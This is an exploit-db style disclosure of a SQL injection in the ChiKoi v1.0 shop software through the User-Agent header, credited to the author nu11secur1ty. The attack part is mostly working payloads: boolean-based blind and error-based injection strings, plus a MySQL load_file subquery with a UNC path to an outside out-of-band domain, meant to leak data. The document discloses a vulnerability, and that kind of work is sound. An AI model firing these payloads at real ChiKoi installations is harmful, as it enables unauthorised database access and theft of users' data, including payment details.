ChiKoi v1.0 – SQL Injection

  • 作者: nu11secur1ty
    日期: 2023-04-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51202/
  • ## Title: ChiKoi-1.0 SQLi
    ## Author: nu11secur1ty
    ## Date: 01.12.2023
    ## Vendor: https://chikoiquan.tanhongit.com/
    ## Software: https://github.com/tanhongit/new-mvc-shop/releases/tag/v1.0
    ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi
    
    ## Description:
    The `User-Agent` HTTP header appears to be vulnerable to SQL injection attacks.
    The payload '+(select
    load_file('\\\\v3z9cjkbngnzrm7piruwhl6olfr8fzknbqzlmba0.glumar.com\\quv'))+'
    was submitted in the User-Agent HTTP header.
    This payload injects a SQL sub-query that calls MySQL's load_file
    function with a UNC file path that references a URL on an external
    domain.
    The attacker can steal all information from this system and can
    seriously harm the users of this system,
    such as extracting bank accounts through which they pay each other, etc.
    
    ## STATUS: HIGH Vulnerability - CRITICAL
    
    [+] Payload:
    
    ```MySQL
    ---
    Parameter: User-Agent (User-Agent)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)
    Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 2474=2474 AND
    9291=(SELECT (CASE WHEN (9291=9291) THEN 9291 ELSE (SELECT 4553 UNION
    SELECT 6994) END))-- -
    
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
    GROUP BY clause (FLOOR)
    Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)
    Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 4578=4578 AND
    (SELECT 8224 FROM(SELECT COUNT(*),CONCAT(0x71706b7171,(SELECT
    (ELT(8224=8224,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM
    INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VCWR
    ---
    ```
    [+] Online:
    
    ```MySQL
    ---
    Parameter: User-Agent (User-Agent)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1)
    Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)' WHERE 8386=8386 AND
    8264=(SELECT (CASE WHEN (8264=8264) THEN 8264 ELSE (SELECT 2322 UNION
    SELECT 6426) END))-- -
    ---
    ```
    
    ## Reproduce:
    [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi)
    
    ## Proof and Exploit:
    [href](https://streamable.com/7x69yz)
    
    ## Time spent
    `01:30:00`
    
    ## Writing an exploit
    `00:05:00`
    
    System Administrator - Infrastructure Engineer
    Penetration Testing Engineer
    Exploit developer at
    https://packetstormsecurity.com/https://cve.mitre.org/index.html and
    https://www.exploit-db.com/
    home page: https://www.nu11secur1ty.com/
    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
    nu11secur1ty <http://nu11secur1ty.com/>
    
    
    -- 
    System Administrator - Infrastructure Engineer
    Penetration Testing Engineer
    Exploit developer at https://packetstormsecurity.com/
    https://cve.mitre.org/index.html and https://www.exploit-db.com/
    home page: https://www.nu11secur1ty.com/
    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
    nu11secur1ty <http://nu11secur1ty.com/>